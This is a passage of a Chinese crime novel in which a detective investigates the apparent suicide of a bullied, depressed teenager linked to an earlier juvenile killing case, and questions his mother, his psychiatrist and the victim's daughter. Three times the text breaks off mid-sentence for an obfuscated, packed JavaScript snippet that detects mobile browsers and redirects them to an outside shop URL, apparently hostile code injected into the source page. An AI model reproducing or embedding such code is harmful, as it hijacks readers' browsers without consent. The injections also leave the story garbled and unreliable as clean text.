“话说,李队。”宋平盛目送最后一名鉴证人员走出房门,接着道:“这个案子为什么会引起你的关注?哪里有特别之处吗?”
“特别之处嘛,倒也……”李成植揉了揉后脑勺,“主要是死者本身。”
“死者本身?”
“根据我的推测,这名死者可能还涉及了别的案子。”
“别的案子?你是说这并非简单的割腕自杀,而是连环案件?”
“不不不,”李成植连连摆手,“我的意思是——”
他的话被一阵刺耳的哭声打断。
两人同时循声望去,只见一二楼楼梯的转角处出现了两个女人,其中一个是刚刚李成植在楼道口见过的,死者的小姨。
另一位他也有印象。上次拜访时,就是她给李成植开的门。
此刻,女人被死者的小姨搀扶着,蹲在地上嚎啕大哭,她的声音听起来绝望而崩溃,在空荡荡的楼道里回响,就好像有一群人在哀哀哭诉。
“她是……”
宋平盛刚想解释,李成植接过话头:“我知道,我见过她。”
李成植望着那哭得痛不欲生的女人。
她穿着淡蓝色羽绒服,眼睛红肿,头发散乱,脚上是一双掉了漆的白色高跟鞋。
30.校园霸凌
完成现场勘察后,李成植跟其他警员一起开车来到了长虹区分局。
在路上,他给徒弟何骐打了个电话,告诉对方自己临时有事,今天大概率不会回去了。
在分局工作了十几年,对这里的流程再熟悉不过,李成植停好车,便熟门熟路地来到位于一楼南侧的问询室。
死者的母亲和姨妈坐在桌前,在她们对面的是宋队长和另外一名年轻刑警,面前有一本摊开的笔记本,随时准备记录。李成植在宋平盛旁边坐下。
他左右看了看,“孩子他爸呢?”
“在上海工作,刚刚给他打了电话说买了火车票,下午赶回来。”宋平盛回答,“平时孩子都是跟妈妈一起住。”
这时,一直忙于安慰姐妹的姨妈抬起头来,吸了吸鼻子,用哽咽的声音说道:“就是因为小蔚的病,家里欠了很多钱,姐夫才辞职去上海,想着大城市能多挣点,谁知道出了这种事……”
死者刘蔚,1996年2月生人,19岁。
“关于孩子的病情,可以再详细说说吗?是抑郁症吗?”
姨妈点点头:“小蔚患有重度抑郁,前几年最严重的时候,每天都在尝试自杀……”
“带孩子去大医院看过吗,医生怎么说?”
“我姐姐和姐夫带他辗转去了很多医院,北京六院,上海精卫总院,都去过了。其实从去年起,小蔚的精神状况就有所好转了,也不再闹着要自杀,大部分时候都能跟我们正常沟通,可怎么突然就……”
姨妈双手掩面,发出一声叹息。
“刘蔚同学的抑郁症,是从什么时候开始的?”
“大概四年前。”
李成植心头一紧。四年前,就是在129未成年人过失杀人案发生之后。
“这个病由于什么原因导致的,你们家长应该知道吧?是学校压力吗,还是家庭关系?”
“都不是。”
刘蔚的母亲终于止住了呜咽,泪眼朦胧地望着面前的三位警员,断续着答道:“小蔚在学校被同学欺负。”
“校园霸凌么?”
刘蔚母亲点点头:“都是因为那个案子……”
她露出痛苦的表情,李成植感到喉咙里微微一紧,不由得坐直了身体。
宋平盛翻开死者的档案本,从里面找到了“那个案子”的记录,问道:“你指的是,四年前也就是2010年的1月29日,发生在市实验小学附近的未成年人过失杀人案吗?”
“是的,就是那个……那个案子,把我儿子和我们家全毁了……”
“但是,”宋平盛皱起眉,“判决书显示,法院认定刘蔚无罪,不用负任何刑事责任。”
刘蔚母亲绝望地笑了,“是吗?无罪,我当然知道我儿子无罪,其他人可不这么认为……我儿子以前初中的同学,都把他当杀人犯看待,说他跟那三个小混混是一伙的,我们家找关系贿赂了法官才不用坐牢,可我们家哪有这种关系,这分明都是谣言啊!”
“从那之后,过了好几个月,我儿子一直被同学欺负,不管他怎么解释都没人相信……起初还是背后议论,渐渐地,就变成了明面上,他的课本会莫名其妙消失,然后出现在学校厕所里……有时候早上出门还好好的,下午回来,脸上就多了好几块淤青,问他怎么来的,他也不肯说实话,就说是路上摔的……”
“直到有一天,我喊小蔚起床,喊了好几声没人回应,打开房门一看……他趴在桌上,割了手腕,血流了一地……”
说着,刘蔚母亲泪如雨下,掩面痛哭起来,她妹妹连忙拍着她的后背安抚。
原来如此。李成植暗想,也就是说,刘蔚确实有割腕自杀的经历,所以这次采取了同样的方法?
刘蔚母亲平复了情绪,深吸了一口气,好半天才道:“警察同志,我就不明白,明明我们也是受害者,我儿子是被那三个小混混胁迫参加的,他到底做错什么了?为什么那些学生要这么对他?”她的声音充满了愤怒和委屈。
宋平盛点点头,放柔了语气,说道:“毕竟那时候都是初中生,年纪小,是非不分,随便造个谣很容易就把学生的情绪煽动起来了。”
“我儿子总说,如果当时没去就好了,如果遇到林鸿那群人的不是他就好了……之前林鸿在的时候,他们老是合起伙来欺负我儿子,后来林鸿犯事进了少管所,为什么受伤害的还是我儿子?”
大概这个问题过于复杂,宋平盛不想在五年前的案子上牵扯太多,于是转移了话题,问道:
“记录显示,刘蔚2011年2月从初中退学了,目前在振德高中上高二,是这样吗?”
刘蔚母亲叹了口气:“之前因为他的病,实在没办法继续念,我们就办了退学,一边带孩子看病,有空就在家对着课本自己学习……小蔚很上进,去年开始病情好转了,一考就考上了高中,说要去读书,将来还想上大学。”
“那他现在的学校怎么样?还有霸凌现象吗?”
“小蔚不怎么跟我们说学校的事,我也问过班主任,霸凌倒是没有了,但他性格内向在班上几乎没什么朋友……不过,我也认命了,只要小蔚精神状况好转就行,警察同志,”
说着,她泪眼汪汪地看向宋平盛,又看看李成植,“小蔚真的比之前好多了,我当妈的不会瞎说,你们看。”
她掏出手机,点了几下,然后递给桌子对面的警员。屏幕上是一张照片,看起来似乎是某医院的处方单。
“这是专家最近给我儿子开的药,”刘蔚妈妈说,“药量相比前两年,已经减轻很多了,专家也说,他一直有进步,正在慢慢好起来。”
李成植从宋平盛手里接过手机,两指放大,仔细查看照片。
处方单上共有三种药物,以及各自的服用量、服用时间,李成植对药物没有特别的研究,也不太看得懂,只能勉强从医生潦草的字迹里,辨认出“好转”这个词。
但当他的视线掠过处方单抬头时,不禁睁大了眼睛——
榆州市第五人民医院。
好熟悉的名字。李成植心想,在什么地方听过来着?应该就是最近。
那头,宋平盛继续问道:“关于孩子的病情,可能还需要进一步查验,麻烦把他平时看的医生的联系方式给我们一下,可以吗?”
刘蔚母亲点点头,看向李成植,后者随即将手机还了回去。她点开通讯录,很快从里面找到了一个人的信息。
“五院精神科,蒋月珍医生,一直都是她在给我儿子看诊。”
在年轻警员递过去的笔记本上,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036732|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她写下了医生的姓名,以及一串电话号码。
李成植站起身,向宋平盛抬了抬下巴,示意道:“我来吧。”
“好,辛苦李队。”
李成植拿出手机,拨下医生的号码,然后在嘟嘟嘟的提示音中,离开了问询室。
刚到走廊上,电话那头就接了起来,“喂,你好,请问有什么事?”
是个声音温柔的女医生,听起来很和蔼。
李成植表明身份,并解释了来意。电话那头的蒋医生听到刘蔚死讯后,沉默了片刻,长长地叹了口气。
“我想当面跟您谈谈刘蔚的病情,不知是否方便?”
蒋医生的声音有些抱歉:“不好意思啊,我现在在北京参加精神医学研讨会,恐怕要过段时间才能回来。”
“哦好的,那我先耽误您一点时间,跟您确认下,关于刘蔚患有的郁抑症,其真实原因是校园霸凌吗?”
“是的,这一点毫无疑问。这孩子因为长期遭到同学言语和身体的欺辱,心理上渐渐地产生了一些情绪,家长也没有做好引导,最后就演变为抑郁症,而且,是重度。”
“他一直在吃药吗?有没有中途断过药?”
“没有,他从去年年初开始来我们院里问诊,我仔细研究过他的病例,没有停过药,而且药量一直不小。”
“刘蔚接受治疗的过程中,还有没有再出现自杀或自残的行为?”
电话那头再次叹了口气,说道:“警察同志,这很难避免,毕竟精神类药物的主要作用是改善患者的情绪认知和躯体症状,从而缓解抑郁,并不意味着只要服药,就能彻底断绝患者的自残行为。”
“我明白了,那么刘蔚最近一次出现此类行为,大概是什么时候?”
“去年八月左右。”
也就是在他复学前,距离现在已经一年多了。
这么长时间都没有再犯的抑郁症病人,会因为什么事情,突然想不开而再次自杀呢?李成植陷入沉思。
“蒋医生,您认为刘蔚最近精神状况怎么样?”
“上次他来五院,是上周六的早上,那时候他的情绪还算稳定,起码我没有看出明显的自残或自杀冲动,沟通时语气也很正常。”
“刘蔚有没有跟您谈到什么?像是学校,或者家庭方面的事情?”
“他说了最近在学校的生活,还聊到快要期末考试,表示很担心理科成绩,除此之外没有什么特别的,但可能在这段期间又发生了什么,影响了他的情绪。”
“刘蔚妈妈说,跟儿子交流很少,是不是刘蔚跟您沟通更多、更顺畅一些?”
“我想是这样。因为专业性的缘故,大部分患者都会对我们表现出不同于家人朋友的依赖,特别是多次见面,彼此熟悉之后,患者也会更加主动地敞开心扉。”
虽然电话那头看不见,李成植还是下意识点了点头:“那……他有没有跟你提到最近遇到过什么人?比如,某个多年未见的女同学,有么?”
问出这个问题时,他感到手心在微微冒汗。
那头安静了几秒钟,随后传来不确定的声音:“应该……没有听说,您指的是某个具体的人吗?”
“哦,没什么,谢谢您的帮助。”
李成植挂断了电话。
31.她叫曲南星。
李成植回到问询室,谈话仍在继续。
他向宋平盛打了个手势,表明通话结果没有问题,后者会意地点了点头,拿出一个鼓鼓囊囊的证物袋,递到刘蔚母亲眼前。
袋子里是一把常见的裁纸刀,塑料外壳和推拉式刀片构造,刀刃伸出约五厘米,前端沾有大量血迹。
一看到这把刀,刘蔚母亲发出了野兽般的痛苦哀嚎,接着掩面大哭起来。
“抱歉女士。”
宋平盛示意旁边的年轻刑警去给她添点茶水,等哭声渐渐平息后,才接着问:“这把刀是您家里的吗?”
“是的。”刘蔚母亲抽噎着答道。
“平时放在什么地方?”
“我卧室的抽屉,当裁纸刀用。”
“刘蔚自己有刀具吗,比如美工刀,刮胡刀这种?”
“没有,他都那样了,我怎么可能把刀放在他身边呢。”
“厨房里肯定也有刀具,对吧?”李成植忽然开口。
刘蔚母亲头也没抬,嘶声答道:“那当然。”
“有什么问题吗?”宋平盛看向他。
“啊,没什么,我就是有点奇怪,这把刀放在卧室的哪个抽屉里,刘蔚知道吗?”
“应该……不知道吧。”刘蔚母亲说。
“也就是说,他对厨房肯定比对您的卧室更了解,那么按照常理推断,应该优先选择去厨房拿刀,为什么会特地跑到您的卧室抽屉里去找呢?”
“我……我不知道。”刘蔚母亲痛苦地抱住了头。
她妹妹帮着回答道:“警察同志,您别问了,抑郁症就是这样,做的事情是没办法用常理和逻辑解释的。”
李成植点了点头,不再追问。
宋平盛:“您昨天的行程,方便跟我们说一下吗?”
“可以。”刘蔚母亲深吸一口气,像是在整理思绪,过了好一会才说道:“昨天上午,我在家里烧好饭后,就出门去打工,大概是……八点钟左右。”
“一整天都在外面吗?”
“是的,为了还清债务,我打了两份工,上午在链家做房产销售,下午去保洁公司接零工。”
可怜的母亲,李成植心想,为了孩子辛苦操持了这么多年,却换来这种结果,恐怕任谁都不能接受。
“您离开家的时候,刘蔚已经去上学了吗?”
“是的,他吃完早饭就坐校车去上学了,校车每天七点十分会经过我们家小区门口的公交站,如果错过就只能打车或者坐公交了,所以小蔚一般会提前个五分钟出门。”
“原来如此。他出门的时候,有没有表现得情绪低落,或者看起来和平时不太一样?”
“……我觉得没有,他还跟我打了招呼,说晚上想去便利店买个饭团回来吃。”
宋平盛笔速飞快地做着记录,抬起头继续问道:“您妹妹说,您昨天晚上由于工作原因没能回家,是怎么事呢?”
“保洁公司的活都是组长临时安排的,昨天下午我接到通知,说有个大单子,客户准备在家里举办大型宴会,工时从当天晚宴开始,到第二天中午宴会结束,打扫完再走。客户需要两个保洁员,组长安排我跟另一名同事一起去。”
“当天晚上你们住在哪?”
“客户家里,他们家是大别墅,有专门的保姆房,在平湖区的驸马花园。”
这个小区,李成植也略有耳闻,是榆州近年来数一数二的超级豪宅。
“也就是说,从昨天晚上到今天早上您接到电话为止,都是跟您那位同事待在一起的,是么?”
“对。”
“不好意思,可以麻烦把那个同事的名字告诉我们吗?”
刘蔚母亲报出了一个姓名,但这引起了她妹妹的不满,“什么意思?怎么跟调查嫌疑犯似的?你们是在怀疑我姐姐吗?”
“没有没有。”宋平盛连连摆手,“死者家属的行程信息,是我们案件调查的必要流程,还请您谅解。”
很明显,“死者”这个词刺激到了对方。
刘蔚母亲的眼睛立刻涨得通红,眼泪像打开了水龙头一样向外喷涌,伴随着哭声:“如果我不接这个单子就好了……如果我昨天没出门,而是留在家里,陪着小蔚,说不定他就不会……”
她的哭声越发歇斯底里,其他警员也被吸引了过来,在问询室门口,通过狭小的玻璃窗口向里面看。
李成植知道,根据经验,现在大概问不出什么有用信息了,便给宋平盛打了个手势,示意自己准备走了。
“孩子父亲下午过来,如果有什么重要信息的话,拜托给我打个电话。”
宋平盛:“没问题。”
“还有保险起见,最好再检查一下死者的手机。”李成植叮嘱。
离开长虹区分局后,李成植站在路边的梧桐树下,没急着走,而是从口袋摸出一根香烟,叼在嘴里用打火机点着。他深深吸了一口,把烟雾吹向背朝人行道的方向。
就在刚刚,他想起那个处方单令人眼熟的原因了:
榆州市第五人民医院,是曲南星姨妈最近工作的地点。
虽然巧的令人在意,不过也不能说明什么,榆州毕竟是个四线小城市,大街上随便转个弯都能遇到熟人。
比起这件事,更值得他仔细思考的,是上次见面时,跟刘蔚的谈话内容。
在一个多月前,十月二十六日,也就是金振宇死后的一周左右,他根据档案信息,找到了129案件的第三位当事人,刘蔚,目前的住址,并亲自登门拜访。
他此行的目的有两个。
第一,告知周婧和金振宇已经死亡的事实,因其曾作为同一桩案件的当事人,需要排除相关性,从而调查其不在场证明。
刘蔚的不在场证明很完美,案发当天他和母亲一起留宿乡下的外公家,直到第二天早晨才回来,有多名人证。
李成植压根没有怀疑过他,其实打个电话验证就行,之所以特地跑来,则是出于第二个目的:
“你现在,应该还在上学吧?我看到餐桌旁边有书包。”确认完不在场证明后,他换上了一副闲聊的口吻,这样问道。
对方点了点头,沉默不语。
李成植
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040776|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看出这个少年性格内向。但那个时候,他没想到这是抑郁症的表现之一。
“是大二,还是大一?”
刘蔚的脸倏然涨的通红,他左右张望似乎是在寻找求助对象,但他妈因为李成植的请求,没有同时在场。
一番视线搜索过后,他放弃了,头垂得更低,用蚊子一样的声音嗫嚅道:“高二……”
“高二?”
李成植愣了愣,根据年龄推算,好像不太对。
也许是家里出了什么变故,涉及到隐私,他就没再追问。
“高中很辛苦啊,但是考上大学之后,就会好起来的。在哪里上?”
“振德高中。”
“哦,那很不错嘛。”
这完全是出于客气。
振德是榆州市一所二流高中,跟榆州中学和榆州第一中学这两所重点相差甚远,学生水平良莠不齐,大部分都在二本三本边缘晃悠,少数优等生能考上一本。
“最近一段时间,你有没有见过这个人?不管是在学校,还是在家附近?”
终于切入正题,李成植将手伸进上衣口袋,掏出了一张照片。
照片里,穿着高中校服的女生向镜头露出微笑,白皙的脸庞上有一双杏仁似的大眼睛。李成植将照片递给刘蔚。
刘蔚迟疑着接过来,凑近看了大约五秒钟,摇摇头:“没见过。”
李成植不得不再次提醒:
“她叫曲南星。”
听到这话,刘蔚脸上的血色瞬间消失,嘴巴失控般张得老大。
很明显,他依然记得这个名字。
时隔近五年,对于成年人来说,外貌的变化并不会很大,但对于小学生则恰恰相反。就是考虑到这一点,李成植才特意带来了照片。
“所以,麻烦再确认一下,你最近见过她吗?”
刘蔚再次拿起照片,这次他的表情完全变了,手指也在微微发抖。
“没有。”几秒钟后,他还是摇头。
“好吧。”李成植接过照片。
“她……怎么了?为什么这么问?”
“没什么,只是想确认一下。”
“难道……”刘蔚睁大了眼睛,“金振宇和周婧跟她有关?人是她杀的?她来找他们报仇了?”
李成植无奈地笑了。每一个被警察询问过的人都会变得疑神疑鬼,在他漫长的职业生涯里从无例外。
“不是的,嗯,你可以理解成,按照查案流程需要有这么个问询步骤,所以不用放在心上。”
“哦。”刘蔚垂下了眼。
李成植向他告辞,随即朝玄关走去。当他的手碰到门把时,身后忽然传来少年的声音:“她考上榆中了,运气真好。”
“嗯?”李成植回过头。
“那个校服……算了。”
李成植:“什么?”
少年偏头躲开他的视线,低声嘟哝道,“如果当时……我现在应该也在榆中吧……”
李成植眯起了眼睛。直觉告诉他,刘蔚没说完的那半句话是:“如果当时林鸿胁迫的人不是我”。
32.已删除
次日上午,李成植开车离家,没有直接前往市局上班,而是先去了一趟长虹区分局。
在分局门口,他从宋平盛手里接过一份档案袋。袋子很薄,里面的内容只有寥寥几张,是关于刘蔚父亲的问询笔录。
李成植大概扫了一遍,没有什么特别值得注意的,跟刘蔚母亲和姨妈叙述的信息差不多,而且因为父亲长期在外地工作,对儿子的了解也相当有限。
“就这些?”
宋平盛点点头:“就这些,其实没必要特地跑过来。”
“还有点不放心,想亲眼确认一下才行。”李成植把档案袋还了回去。
“倒是有另一件奇怪的事情。”
“是什么?”
“你不是说要查一下刘蔚的通讯记录吗,”宋平盛说道,“然后我们发现,刘蔚手机里的通话和短信都被清空了,于是委托电信公司调阅了后台数据,发现在前天晚上六点四十三分,刘蔚的手机给某个号码发送了一条短信。”
李成植皱起眉:“六点四十三分?”
“对,在推定的死亡期间内。也就是说,这条短信很可能是刘蔚割腕前发送的。”
“写的什么?”
“查不到,电信那边只能确定收件人的号码,没法获取短信内容。”
“那收件人是谁?”
“这就更奇怪了。”宋平盛挠了挠下巴,“刘蔚的通讯录里找不到这个号码,我们就查了号码实名绑定的身份证,发现对方是个16岁的女高中生。”
16岁,女高中生。
那一瞬间,李成植感到心跳如雨点般加速,他竭力压制情绪,令自己看起来还算平静:“那女孩叫什么名字?”
“曲南星。而且李队,根据调查,她跟死者可以说是关系匪浅,是四年前129案那名死者的独生女。”
“她回复短信了吗?”
“没有。”宋平盛说,“你说奇不奇怪,两个人上的也不是同一所高中,问刘蔚他妈,说没见过这个女学生,也从来没听刘蔚提起过。”
“这样啊……”李成植稍加思考后问道,“系统里能查到他们之前的通讯吗?”
“没有记录,这两个手机号在前天晚上短信发出之前完全处于陌生状态。那么问题来了,刘蔚自杀前为什么要给一个从没联系过的受害人家属发短信?”
李成植:“确实费解。”
“我猜啊,是不是刘蔚想起自己涉及到的这桩案件,感到很愧疚,想跟受害人家属再道个歉,所以发送了这条短信。有句老话怎么说的来着,人之将死,其言也善?”宋平盛说。
“是有这种可能,”李成植语气模糊地说,“你们去找那女孩了吗?”
“还没,准备等她放学的时候去。”
李成植:“上头对这案子是什么态度?”
“领导的意思嘛,就是希望尽快结案,当成自杀处理。毕竟也没有什么疑点,死者本身患有重度抑郁、有多次自杀行为、在学校性格孤僻且情绪不稳定……合起来看,就是个常见的高中生自杀事件,现在学生压力大得很,动不动就跳楼割腕,类似的案子我们处理过不少。”
“明白了。”
“哦还有,”宋平盛看他一眼,“李队,我没跟他们说你也参与了案件调查。”
“多谢。”李成植站起来,“关于这名女学生的调查,就交给我吧。”
“可以是可以,但是……市局那边不要紧吗?到年底了,事情应该很多吧,两头跑忙得过来吗?”
李成植:“都是些无关紧要的会议,不去也罢,大不了让我徒弟帮忙去签个到。”
宋平盛会意一笑,“话说回来,我还是不明白,这个案子到底有什么地方让你在意?”
“讲实话,我也不确定,如果现在告诉你,你多半会觉得是天方夜谭,是我干这一行太久得了幻想症。”
宋平盛:“嗯……不妨说说看?”
李成植笑了,伸出一根食指摇了摇,说道:“还是算了,等我验出结果的时候再说吧。又或许,我大费周章地证实下来,发现就是我在幻想,但这样的话,我反而会觉得安心。”
他顿住了,望向不远处高楼后露出的晨光,太阳正以一种肉眼难以辨别的速度缓慢升起:
“因为,如果那个幻想是真的,就太可怕了。”
宋平盛露出困惑不解的神情,但识趣地没有继续追问。
“要走了吗,李队?”看着他从口袋里掏出车钥匙,宋平盛说,“也是,再不过去恐怕要迟到了。”
“不不不,我准备先去一趟刘蔚家小区,再回市局。”李成植狡黠地笑了,“迟到什么的无所谓了,反正我迟到早退也不是一回两回,领导们早就习惯了吧。”
宋平盛疑惑:“那个小区里还有什么需要调查吗?”
“我打算去问问他们家附近的邻居,也许会有发现,也许没有,谁知道呢。走了,下次见。”
李成植向前迈出脚步,几步后又转过头,“对了,小区周边确定没有监控吗?一个也没有?”
宋平盛苦笑着摆手:“这小区老的连物业都没有,就算有监控设备,也不通电啊。”
“那很棘手了。”李成植说完,走向停在路边的黑色桑塔纳。
***
下校车后,曲南星立即朝家的方向走去,天色已然全黑。
放在平时,她也许会沿途观察周围的风景,权当散心,但今天她太累了,只想早点回去休息。
随着期末考试逼近,课业压力也水涨船高,下午一共四节课,其中三节都是考前模拟,语文数学物理,考完后的班级仿佛被巫婆拔掉了歌喉的美人鱼,每个人面如菜色,连说话的力气也没有。
一想到还有好几张卷子要写,曲南星不禁加快了脚步。走到门口,她听见里面传来了说话声,攥着钥匙的手指不由得顿住。
“阿妹回来啦。”
打开门,和小姨的声音共同出现的,是一个穿着藏青色冲锋衣、笑容可掬的中年男子。
又是他。
餐厅里,李成植看着走进来的年轻女孩,站起身打招呼道:“没想到这么快又见面了,曲南星同学。”
小姨姜敏也站了起来,神色惴惴:“这位是……”
“李警官。”曲南星点头,“我知道。”
简单的寒暄过后,李成植向姜敏提议道:“如果方便的话,请让我跟曲同学单独聊一会,可以吗?最多不超过二十分钟。”
姜敏脸上的不安越发浓重。她揉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047864|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
揉头发又搓搓手,视线转向曲南星,在与对方宽慰似的目光触碰后,有些勉强地答应了一声,向卧室走去。
等她关上门,李成植才转过身,“刚放学吗?”
“是的,校车刚到。”
“高中就是辛苦啊。”李成植感慨道,视线掠过曲南星身后的书包,“别站那了,坐着聊吧。”
闻言,曲南星脱掉了运动鞋,换上拖鞋,向李成植对面的椅子走去。
她把书包放在桌上,木质旧餐桌发出了咯吱咯吱的抗议。
“哎,现在高中生都背这么重的书包?”李成植面露钦佩地看着,“每一本晚上都要看吗?”
曲南星摇头,“以防万一。还有一部分确定不用的,就留在学校了。”
“不是说教育局在搞学生减负吗,我怎么完全看不出来?”
曲南星笑了笑,没说话。
屋内陷入沉默。
李成植等了一会儿,见对方始终一声不吭,决定先发制人:“你今天怎么不问我过来的目的是什么?我记得你前两次好像都会主动问我。”
女孩微微抬起头,视线没有跟过来,回答却出乎了李成植的意料:“我大概知道原因。”
“哦?”
“是关于刘蔚同学自杀的事吧。”
“你知道了?”
“嗯,他常去我姨妈上班的医院就诊,现在整个医院都传遍了,姨妈听说后,也告诉了我。”
“这样啊。”李成植说着点点头,随即问道:“那么,你对他的死有什么看法吗?”
曲南星明显有些踌躇,过了一会儿才答道:“不好说,大概……有点可惜吧,听说他的病似乎已经在好转了。”
“你知道他的死亡时间吗?”
“听说是前天晚上。”
“确切来说是前天下午六点到晚上八点之间。那个时间段,你在哪里?”
抛出关键问题后,李成植紧紧盯住她的脸,确保不放过一丝一毫的表情变换。
不出所料,女高中生的脸色发生了细微的变化,她抿了抿嘴唇,说道:“我在家里,写作业。”
“家里还有别人在吗?”
“没有了。小姨跟朋友出门逛街,很晚才回来,就我一个人在家。”
就是说没有不在场证明了。随后他报出了一串电话号码,问:“这是你的手机号,对吧?”
曲南星点点头,把手伸进口袋,掏出一个黑色的手机,放在书包旁边:“是的。”
李成植有些惊讶于她动作的爽快,他瞥了一眼手机,是个iPhone,但应该不是最近的款式,因为和电视广告里看到的新款在外观上有相当大的差别。
他并没有伸手去拿。没到时候,李成植想。
“在那段时间,你是不是收到过一条短信?”
曲南星再次点头。
“你知道是谁发的吗?”
“是个陌生号码,短信里也没有备注姓名,但……”
她垂下眼,“我大概知道是谁。刘蔚同学,对么?”
“那条短信还在吗,如果方便的话,能不能给我看一下?”李成植将视线转向桌上的手机,抬手示意。
“很抱歉,”曲南星低声道,“已经删除了。”
33.继续调查
“现在学生都有阅后即焚的习惯吗?”
早就猜到会是这种结果,李成植并不气恼,反而开起了玩笑。
曲南星摇摇头:“不是的,李警官。这其实是短信里的要求,他让我看完之后删掉。”
“嗯,有这种事?”李成植沉吟了一声,审视着她的眼睛,“那就麻烦你大概描述一下短信的内容,应该还记得吧?”
“短信里说,他很抱歉当初对我母亲做的事,很后悔没有在事情无可挽回之前打电话报警,希望我能原谅他的懦弱。还有,”
曲南星顿了顿,说道:“请我看完后务必删除这条短信,也不要回复,他不想给我造成麻烦。”
“造成麻烦?他这么写了?”
曲南星点头:“是的。”
和宋平盛的猜测对上号了,李成植心想,但也无从考证。
“你当时有感觉到不对劲吗?根据短信内容看上去,发信人的精神状态似乎并不乐观。”
曲南星略偏了偏头,声音变低:“大概……感觉到一点,但他都这么说了,我就删掉了……”
“在此之前,刘蔚有通过其他方式跟你联系吗?见面,发邮件,或者别的什么?”
“他没有主动联系过我。”
“那就奇怪了。”李成植不解,目光充满审视,“他是从哪里得知了你手机号?”
曲南星没有回答。
“或者换个问题,”李成植说,“你认为,他为什么要在临死前给你发这么一条短信?跟他的自杀,哦不,割腕有关吗?”
曲南星还是沉默。李成植不再提问,静观对方如何反应。
过了一会儿,曲南星忽然用力咬了下嘴唇,似乎下定了某种决心,抬起头来:“其实,我前几天去找过他。”
终于肯说实话了吗?李成植暗想。
他并没有对此事感到意外。因为就在今天上午,走访和刘蔚家同单元住户的过程中,住楼上306的邻居大爷向他说起了这么一件事:
上周日中午十一点左右,有个女孩来找刘蔚,两人隔着门说了几句话。
刘蔚平时性格孤僻,除了上学和去医院,大部分时间大门不出二门不迈,老大爷从来没见过他跟朋友在一起玩,突然有人找上门来,而且还是个女孩子,这给他留下了深刻印象,不禁多看了几眼。
据他描述,那是个身形较瘦、面容清秀的女孩,有一双漂亮的大眼睛。看过曲南星的照片后,他确认这毫无疑问就是本人。
当被问起刘蔚跟对方说了些什么的时候,大爷表示两个人似乎发生了争执,动静不小,但他一下楼就都不说话了,所以他什么也没听清。
是因为知道被人看见了,所以才坦白吗。李成植想。
“可是你刚刚说,没有联系过他?”望着餐桌对面的女孩,他有些戏谑地问。
“我说的是,‘他没有主动联系我’。”女孩纠正道,表情出奇的镇定。
李成植:“好吧,你是怎么知道刘蔚住址的?”
“我送小姨去上班,在医院门口看到他跟他妈妈一起来。”
“跟踪?”
女孩沉默不语,这在李成植看来形同默认。
他接着问道:“那你找他干什么呢?据我所知,在你母亲的案件结束之后,你们就没有再见过面吧?”
女孩将视线从绞在一起的手指上抬起,如同拍摄定格电影一般,缓缓落到中年刑警的脸上。
“是的,但……我一直有个问题想问他。”
“什么问题?”
“关于当年的案子,林鸿到底是出于什么原因,选择我妈妈作为抢劫对象?”
虽然早有准备,女孩的回答还是令李成植受到了震动,他右眼的眼皮轻微跳起来。
沉默了十几秒钟——也可能是一分钟,他叹息一声,将环抱的手臂松开,“曲南星,快五年了,这个案子早已结案,法院也做出了判决,你何苦抓着不放折磨自己。”
“725米。”女孩冷不丁冒出一句。
“什么?”
“从榆州实验中学的校门,到我妈妈摊位的距离,是725米。”
李成植:“你这是……”
不等他说完,女孩便径自道:“那天是市实中和市实小每年合办新春晚会的日子,地点在实验中学体育馆,两所学校的学生都会参加,林鸿和他另外两个朋友也不例外。晚会在六点半结束,他们跟着人潮走出校门……”
李成植感到心跳加剧,张口想说些什么,还是忍住了。
“实验中学门口,有近十个摊位,因为有活动人流量大,生意都很好。而我妈妈的摊位在市实小后门,两处相隔七百多米。”
“你想说什么?”李成植问。
“李警官,你也觉得很奇怪吧?”女孩凝视着他,眼睛一眨不眨,“如果按照林鸿的说辞,他理应在实中门口挑选抢劫目标,何必多走这么多路,找上我妈妈呢?”
“他说那天丢了钱包心情不好,刚好看到你妈妈,所以才做了那种事。是几个人走在路上临时起意。”
“不可能。”女孩的声音冷淡了下来,“如果是这样,他们走出校门的时候就应该是三个人,但刘蔚是晚会结束后不久,在学校里被林鸿喊走的,这不就说明,他们离校时已经确定了接下来要做什么吗?”
屋内再次陷入沉默。
李成植将手放在桌上,双手交叉,上半身后仰,“这就是你去找刘蔚的目的?”
“对。”
“他当时怎么回答的?”
“他说自己什么都不知道。”
“如你所说,刘蔚是在半路被胁迫参加,就算真有什么内情,恐怕也不会告诉他吧。”
曲南星垂眼不语。
李成植:“而且,你为什么突然想起要去找刘蔚?他可没有坐牢,你想知道答案的话,之前为什么不去问?”
